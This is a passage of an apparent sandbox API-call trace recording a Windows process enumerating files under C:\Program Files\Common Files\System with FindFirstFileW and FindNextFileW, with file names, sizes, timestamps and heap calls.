nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.010] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0277.010] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0277.010] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0277.010] GetProcessHeap () returned 0xaf0000 [0277.010] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3688270 | out: hHeap=0xaf0000) returned 1 [0277.011] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0277.011] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xced4b5c5, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x12d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0277.011] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0277.011] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0277.011] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0277.011] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0277.011] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0277.012] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0277.012] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado60.tlb", cAlternateFileName="")) returned 1 [0277.012] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xd005e363, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x58e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0277.012] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0277.012] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0277.012] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x438ed65e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x438ed65e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x438ed65e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador28.tlb", cAlternateFileName="")) returned 1 [0277.012] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc5b43065, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x62e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0277.012] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c5ad98, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c5ad98, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c5ad98, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0277.013] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0277.013] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0277.013] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0277.013] GetProcessHeap () returned 0xaf0000 [0277.013] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0277.014] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0277.014] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="en-US", cAlternateFileName="")) returned 1 [0277.014] GetProcessHeap () returned 0xaf0000 [0277.014] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0277.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0277.015] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.015] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0277.015] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0277.015] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0277.015] GetProcessHeap () returned 0xaf0000 [0277.015] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0277.015] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="msadc", cAlternateFileName="")) returned 1 [0277.015] GetProcessHeap () returned 0xaf0000 [0277.015] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0277.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0277.016] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.016] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0277.016] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0277.016] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0277.016] GetProcessHeap () returned 0xaf0000 [0277.016] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3688270 [0277.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0277.017] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.017] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b99489e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0277.017] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb2c9ec00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0277.017] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0277.018] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0277.018] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0277.018] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0277.018] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0277.018] GetProcessHeap () returned 0xaf0000 [0277.018] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3688270 | out: hHeap=0xaf0000) returned 1 [0277.018] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0277.018] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0277.018] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0277.018] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0277.019] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0277.019] FindNextFileW (in: 